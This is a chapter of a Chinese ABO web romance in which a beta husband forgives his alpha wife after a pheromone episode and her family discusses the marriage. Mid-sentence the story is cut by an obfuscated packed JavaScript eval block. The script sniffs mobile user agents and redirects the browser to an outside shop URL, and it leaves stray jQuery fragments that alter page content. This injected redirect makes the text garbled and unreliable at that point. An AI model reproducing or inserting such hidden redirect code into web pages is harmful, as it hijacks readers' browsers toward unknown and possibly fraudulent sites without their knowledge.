池絮吃了一惊。
完全没想到,齐锦雪愿意为了获得他的原谅付出这么大的代价。
女人温柔诚恳的面孔,一下子抚平了刚才给他带来的伤痛。
齐锦雪摆出愿意负责的态度就够了,他不能厚脸皮真的接受。
“不,不至于的。你也不是故意的。”
况且他又不是一点错都没有。
如果他没喝酒,又回错房间,或者就不会发生了。
齐锦雪沉默地看着他,局面一时陷入尴尬。
池絮试图活跃气氛,很开明的样子,“幸好我没有腺体,否则不小心被标记了,才是真的困扰。”
终身标记一旦形成,很难清洗,终身标记关系之间往往只有一种结果,就是结婚。
齐锦雪的眸色深了深,“是,幸好你是个beta。”
“我没有什么损失,你……应该也没有吧?”池絮不确定问。
齐锦雪脸色不太好,但状态似乎还行。
大约还在愧疚。
毕竟他这个朋友外表冷淡,实际很有原则和责任心。
池絮道:“你要真觉得过意不去,就请我喝两天汤,养养身体好了。”
“好。”
这件事算是结束了吧。池絮呐呐想。
看到齐锦雪脸色苍白,那两盒抑制剂又浮上心头。
“我看你用了两盒抑制剂……你昨天,是不是很难受?”
他看过相关资料,信息素是一大重要能量来源。
这也是alpha、omega能和beta区分开来,社会地位凌驾于beta之上的关键。
信息素越强,暴走时反噬也越强,如万蚁噬骨,痛苦异常。
如果没有及时控制,生命都会受到威胁。
连齐锦雪都没能控制的暴走,一定是很难受了。
齐锦雪风轻云淡道:“还好。”
“你病了这么久,为什么不找位omega呢?是因为和我结婚的关系吗?”池絮问。
“我有在接受信息素治疗,但效果微乎其微。
齐锦雪笑了笑,“找omega,不是那么简单的事,比信息素缺陷症,更让我头疼。”
至于怎样“不简单”,那是她的私事,她似乎没有和池絮分享的意思。
“这样啊……”池絮呆呆地。
但说到底,和他的婚姻关系,会影响她的恋爱进度吧。
“不管怎么说,都是我有错在先。”齐锦雪揉揉眉心,“下次我会提前住在外面。”
他想到,如果不是齐锦雪先好心收留他,也不会导致她造成这个错误。
让他俩都陷入尴尬,还让她有家不能回。
“……那你和我那样,有用吗?”
“什么?”齐锦雪少见地怔了怔。
池絮又重复了一遍。
齐锦雪深深地看着他,很久。
久到池絮以为是自己自作多情,不会得到回答了。
“有用的。”
“竟然……”他微微惊讶。
“对于人类而言,第二性征还有太多未知,或许你身上有什么东西,对我的腺体有生理影响。”她坦然道。
池絮扣着手指,低头沉思,脑海中两个小人在打架。
“你有任何想要的,可以随时跟我说,不限时间。”齐锦雪往外走。
“我可以帮你。”池絮鼓起勇气,对着女人的背影道。
齐锦雪停下脚步,转过身。
“什么?”
她背着光,他看不到她的表情,也因此无法从她的反应中得到勇气或者退缩。
池絮捏紧床单,只能从本心出发,“我可以配合你,做那种事,在你找到更优的治疗前。”
言辞里传达出来的讨好,连他都感到自厌和唾弃。
他最应该做的,不是该向她讨公道、要赔偿?再不济也是冷战几天。
怎么变成这样。
好似他真从中感受到乐趣,一改性向的样子。
不仅原谅了始作俑者,还愿意和她继续错误。
可是想象齐锦雪困在疾病中要承受的痛苦,他恨不能以身相替。
在齐锦雪沉默的间隙,他更加为自己的决定倍感压力。
几经挣扎,终于,池絮耷拉下肩膀,自暴自弃道:“反正我只是个beta……”
“不是的。”齐锦雪的反驳来得很快。
她快步走到他身边,扶着他的双肩,和他四目相对,“池絮,”
女人淡漠的眼底,压着星星的火色。
“你很珍贵。”
“不是什么‘只是个beta’,池絮非常、非常珍贵,独一无二。”
从没有人这样对池絮说过。
尽管很久很久以前,有个孩子一直一直地期待着。
眼泪无声涌出,模糊视线。
男人扑到齐锦雪怀里,放声哭起来,单薄的肩膀微微发颤。
从事发起,伤痛的、委屈的、受到安抚的痛哭。
齐锦雪把他搂到怀里,轻抚着他的后背,温声致歉。
“对不起。”
“对不起。”
“对不起。”
为她的自私、她的冲动、她的占有欲,同这个已经被她掠夺到快一无所有的beta致歉。
*
下午,池絮发起了高烧。
在齐锦雪的要求下,才请了家庭医生来看。
池絮躲在被子里,都快裹成蚕蛹了。
周羽是齐家的老家庭医生,还是第一次上门给大小姐处理这种事故。
还以为只有她妈会干这种事呢。
还真是……有其母必有其女啊。
周羽在心里偷偷感慨,面上却稳如老狗。
利落地开好药,留下几条医嘱。
得心应手的工作。
送走周羽时,齐锦雪一个眼神,她就心领神会。
“大小姐放心,我虽然是齐家的家庭医生,但很有职业道德,尊重个人隐私。”
职业道德这一块,齐锦雪还是信得过的。
否则他们也不能在齐家做这么久。
隐私可以不说,却可以说点别的。
周羽离开齐锦雪家,就给齐妍发去消息。
“齐妍,你真是不拿我当朋友了,小雪结婚都不和我说?”
齐家。
周羽蹭了杯林原亲手泡的茶,享受地品着。
“这个茶叶,走的时候给我带点。”她毫不客气道。
她每次来临家,连吃带拿都习惯了。
谁叫她的贡献大呢,早年给齐妍和林原治了不少大大小小的伤。
林原大手笔地给她包了一包。
“你见到小雪的结婚对象了?”林原问,“她干嘛找你,是她的信息素缺陷症?”
他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311851|198890||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
皱皱眉,“不对,她信息素缺陷症也找不着你。难道是……”
周羽神秘一笑。
他和她对视一眼,心领会神。
林原腾地站起来,眉头紧皱,“小雪就这么冲动?他只是个beta。”
周羽欣慰笑道,“这样更说明他们夫妻感情好啊。”
“就是不请我参加婚礼,不够意思。”她没忘讨伐。
“她根本就没有举办婚礼,”林原不满道,“就连我和她妈,也是几天前才得知。”
“啊?”周羽愣了愣。
齐妍正好从外面回来。
周羽看着人到中年,风韵依旧的女人,摇摇头,“小雪是得到齐妍真传了啊,有渣女潜质。”
齐妍听到有人提她,“你可别冤枉我。”
林原气道,“小雪才不是,再这样下去,她要给那个beta害惨了!”
“她结婚对象就算不是omega,是个alpha也好,偏偏是个beta。”每每说到这,林原都气闷。
周羽慢悠悠喝了口茶,“我倒觉得不用太过忧虑,我这次去看小雪,她的状态很好啊。”
她笑了笑,“或许这位beta,能给她带来良性的改变。”
齐妍跟着点头。
林原皱眉,“我看都是表象。”
周羽深深叹气,“你啊,就是关心则乱。”
*
池絮被迫在家养了一星期之久。
他刚入职不久就休息,早就心急如焚,本打算第二天就上班。
但有齐锦雪看着,他的抗议无效。
好在,公司还很通情达理,齐锦雪帮他请假,领导二话不说就答应了。
这些天,齐锦雪亲自照顾他。
给他煮粥,买点心,量体温,督促他吃药。
他们的关系,不知什么时候起更近了一层。
池絮有时候恍惚地想,那一晚上,似乎不是特别糟糕。
那晚的记忆渐渐淡去,全剩这几天齐锦雪对他的好。
被美好的记忆充盈着,他浑身的活力,都够他连上一个月的班了。
“你看我已经恢复好了,明天可以去上班了。”
池絮原地蹦了一圈,展示他的休养成果。
怕她不放心,还做了一套拉伸体操。
上上下下、左左右右,衣服都扯到腰上半截。
眼见着马上要腿放在钢管上做下腰,齐锦雪出声阻止了他,“好了,明天去吧。”
池絮犹如刑满释放,“好耶!齐锦雪,我今天给你做草莓布丁吧?好久没有给你做了。”
“好。”
他去厨房忙活。
窗外春光正盛,草木郁郁葱葱。
齐锦雪倚坐的沙发,常年在树荫里,阳光再刺眼,都不会影响到她。
而她却能够通过窗户,观赏花园的景色。
这是当初设计师特意留下的巧思。
但从前她忙于工作,很少着家,就算在家,更多也是呆在书房。
最近才经常留在客厅,体会到设计师的妙心。
这里堆的资料越来越多,快成了她第二个书房。
池絮拿完东西,关上厨房的门。
齐锦雪收回视线,懒懒地翻了一页书,想着把厨房改成开放式的事。
江迟的消息发了过来:
下周必须来找我检查,否则我可上门问诊了。